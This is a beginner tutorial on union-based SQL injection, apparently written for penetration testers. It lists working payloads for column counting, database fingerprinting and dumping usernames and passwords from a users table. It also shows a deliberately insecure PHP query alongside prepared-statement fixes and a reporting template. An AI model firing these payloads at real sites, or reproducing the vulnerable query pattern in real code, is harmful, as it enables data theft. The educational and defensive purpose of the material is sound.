Union-Based SQL Injection: Complete Beginner-Friendly Guide

Union-Based SQL Injection is one of the most common SQL injection techniques used during web application penetration testing. It allows a tester to combine the result of the original database query with another custom query using the UNION SQL operator.

In simple words, if an application takes user input and directly places it inside a database query without proper validation, an attacker may be able to modify that query and extract additional data from the database.

This issue is commonly found in URLs, search fields, product pages, profile pages, filters, and API parameters.

---

What is Union-Based SQL Injection?

Union-Based SQL Injection happens when an attacker uses the SQL UNION operator to join results from two different SQL queries.

Example normal query:

SELECT name, price FROM products WHERE id = 1;

If the application is vulnerable, an attacker may inject:

UNION SELECT username, password FROM users

The final query may become:

SELECT name, price FROM products WHERE id = 1
UNION SELECT username, password FROM users;

If successful, the application may display user data along with product data.

---

Why UNION is Used in SQL Injection

The UNION operator is used to combine results from multiple SELECT statements.

However, for UNION to work properly:

• Both queries must return the same number of columns.
• Column data types should be compatible.
• Output should be visible on the web page or API response.

That is why Union-Based SQL Injection is mainly useful when the application displays database output back to the user.

---

Common Places Where Union-Based SQL Injection is Found

Union-Based SQL Injection is usually found in:

• Product detail pages
• Blog post pages
• Search functionality
• Category filters
• User profile pages
• Report download parameters
• API query parameters
• Admin panels
• Legacy PHP applications

Example vulnerable URL:

https://example.com/product.php?id=10

---

Basic Testing Methodology

Step 1: Identify Input Parameter

Start with a parameter such as:

?id=1

Then test with a single quote:

?id=1'

If the application returns a SQL error, unusual response, or broken page, it may indicate SQL injection.

---

Step 2: Find Number of Columns

Use ORDER BY to identify column count:

?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--

When the application returns an error, the previous number is usually the valid column count.

Alternative method:

?id=1 UNION SELECT NULL--
?id=1 UNION SELECT NULL,NULL--
?id=1 UNION SELECT NULL,NULL,NULL--

---

Step 3: Identify Visible Columns

Once column count is confirmed, test which column is reflected on the page:

?id=-1 UNION SELECT 1,2,3--

If the page displays 2, then the second column is visible.

---

Step 4: Extract Database Information

After finding visible columns, testers may check database version:

?id=-1 UNION SELECT 1,@@version,3--

For MySQL database name:

?id=-1 UNION SELECT 1,database(),3--

For current user:

?id=-1 UNION SELECT 1,user(),3--

---

Example Vulnerable Scenario

A website has this product page:

/product.php?id=5

Backend query:

SELECT product_name, product_price FROM products WHERE id = '$id';

Because the user input is directly added into the SQL query, an attacker can modify the query using UNION.

Payload:

?id=-1 UNION SELECT username,password FROM users--

If the application displays the result, sensitive user data may be exposed.

---

Impact of Union-Based SQL Injection

Union-Based SQL Injection can lead to serious security risks such as:

• Database information disclosure
• User credential exposure
• Admin account compromise
• Personal data leakage
• Business data theft
• Session token exposure
• Internal table discovery
• Compliance violations
• Full application compromise in some cases

The impact depends on database privileges, exposed data, and application architecture.

---

Root Cause

The root cause is usually improper handling of user-controlled input.

Common root causes include:

• Dynamic SQL query construction
• Missing prepared statements
• Weak input validation
• Direct use of request parameters in SQL queries
• Verbose database errors
• Excessive database permissions
• Lack of secure coding practices

Example insecure code:

$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id = '$id'";

Secure code should use parameterized queries instead.

---

Mitigation and Prevention

Use Prepared Statements

Prepared statements prevent user input from being treated as SQL code.

Example in PHP PDO:

$stmt = $pdo->prepare("SELECT name, price FROM products WHERE id = ?");
$stmt->execute([$id]);

---

Validate Input

If the parameter expects a number, allow only numbers.

$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);

---

Disable Verbose Errors

Do not expose SQL errors to users. Log errors internally and show generic messages.

---

Apply Least Privilege

The database user should only have required permissions. Avoid using root or admin database accounts in applications.

---

Use WAF as Additional Protection

A Web Application Firewall can help detect and block common SQL injection payloads, but it should not replace secure coding.

---

Testing Tools

Common tools used during authorized testing:

• Burp Suite
• OWASP ZAP
• sqlmap
• Nmap NSE scripts
• Manual browser testing
• Postman for API testing

---

Reporting Format for Union-Based SQL Injection

A professional report should include:

Observation:
The application parameter was found vulnerable to Union-Based SQL Injection.

Root Cause:
User-supplied input is directly used in SQL queries without proper parameterization.

Impact:
An attacker may extract sensitive database information, including usernames, emails, password hashes, and business records.

Recommendation:
Implement prepared statements, validate input, restrict database privileges, and disable verbose SQL errors.

---

Conclusion

Union-Based SQL Injection is a serious web application vulnerability that can expose sensitive database information when user input is not handled securely. Although it is an old vulnerability, it is still found in many real-world applications, especially in legacy systems and poorly secured APIs.

For students and penetration testers, understanding Union-Based SQL Injection is important because it teaches how databases interact with applications and why secure coding practices are necessary.